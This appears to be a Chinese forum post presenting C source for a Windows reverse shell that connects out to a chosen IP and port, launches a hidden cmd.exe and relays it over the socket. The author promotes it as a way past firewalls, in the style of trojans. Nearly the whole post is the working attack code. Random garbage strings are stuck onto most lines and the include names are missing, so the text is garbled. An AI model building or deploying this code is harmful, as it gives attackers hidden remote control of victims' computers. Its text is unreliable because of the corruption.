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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U@6bH@v5  
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/* ============================== $wQkTx  
Rebound port in Windows NT >\/H2j  
By wind,2006/7 h0=Q.Yz6  
===============================*/ (F<VcB  
#include aT]G&bR?  
#include ^"U-\cx  
7eM:YqT/#  
#pragma comment(lib,"wsock32.lib") |SO?UIWp  
[\Ks+S  
void OutputShell(); &yQilyU{V  
SOCKET sClient; o:p6[SGd  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {N \ri{|  
9(\eL9^  
void main(int argc,char **argv) `YK2hr  
{ j/oM^IY  
WSADATA stWsaData; =u*\P!$  
int nRet; .[@TC@W  
SOCKADDR_IN stSaiClient,stSaiServer; }k`-n32)|  
l[MP|m#  
if(argc != 3) ~_!lx  
{ |#&{`3$CG[  
printf("Useage:\n\rRebound DestIP DestPort\n"); QM"\;l??  
return; /uh?F  
} D.Q9fa&P  
!vaS fL*]  
WSAStartup(MAKEWORD(2,2),&stWsaData); z vM=k-Ec  
015 ;'V#we  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dTE(+M- Gr  
<~%e{F:[#  
stSaiClient.sin_family = AF_INET; ,C=Lu9  
stSaiClient.sin_port = htons(0); e(5 :XHe  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :jJ;&t^^  
 .IO_&^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k2"DFXsv  
{ CJDnHuozc  
printf("Bind Socket Failed!\n"); !4"!PrZDB  
return; S\,~6]^T  
} 0ESxsba  
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stSaiServer.sin_family = AF_INET; Q)n6.%V/e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P0Q]Ds|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JlM0]__v  
.nN>Ipv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^ B>BA  
{ 4TP AD)C  
printf("Connect Error!"); e[Tu.$f-  
return; lj U|9|v  
} ja<!_^h=At  
OutputShell(); 5i<E AKL  
} p#]D-?CM)  
!XJvhsKXy  
void OutputShell() g`2DJi&)  
{ 3:S>MFRn.3  
char szBuff[1024]; 9AA_e ~y  
SECURITY_ATTRIBUTES stSecurityAttributes; (oftq!X2  
OSVERSIONINFO stOsversionInfo; 6t,_Xqg*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w%3R[Kdzk  
STARTUPINFO stStartupInfo; ~6<'cun@x  
char *szShell; )jS9p~FS  
PROCESS_INFORMATION stProcessInformation; hk +@ngh%  
unsigned long lBytesRead; ]c Or$O*  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D~(f7~c%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L/YEW7M  
stSecurityAttributes.lpSecurityDescriptor = 0; 0xSWoz[i6~  
stSecurityAttributes.bInheritHandle = TRUE; rryC^Vma  
*ommU(r8  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qwERy{]Sp;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S4salpz  
'l&),]|$)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }[$qn|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $4*wK@xu  
stStartupInfo.wShowWindow = SW_HIDE; 1+{V^) V?  
stStartupInfo.hStdInput = hReadPipe; FC +}gJ(q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6]Vf`i  
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GetVersionEx(&stOsversionInfo); [myIcLp^aP  
$*KM%M6  
switch(stOsversionInfo.dwPlatformId) daX$=n  
{ y5p)z"  
case 1: 0m,3''Q5lO  
szShell = "command.com"; 0sQt+_Dl%L  
break; UhI T!x  
default: @_ZE_n  
szShell = "cmd.exe"; w[/_o,R  
break; ;b-d2R  
} 0- =PP@W  
|e]2 >NjQa  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #77p>zhY  
< s>y{ e  
send(sClient,szMsg,77,0); ;PA^.RB  
while(1) .!B>pp(9  
{ (FY<% .Pa  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ri]"a?Rm  
if(lBytesRead) b: c$EPK  
{ _wY <8 F*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )~Pj 3  
send(sClient,szBuff,lBytesRead,0); Jtv~n  
} g]ct6-m  
else q_R^Q>ZIe  
{ 8iIz!l%O  
lBytesRead=recv(sClient,szBuff,1024,0); -(Z%?]+  
if(lBytesRead<=0) break; 3jJd)C R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /Cl=;^)  
} Gy3t   
} d~>d\K%v  
^@4$O|3Wh'  
return; `1hM3N.nO  
}
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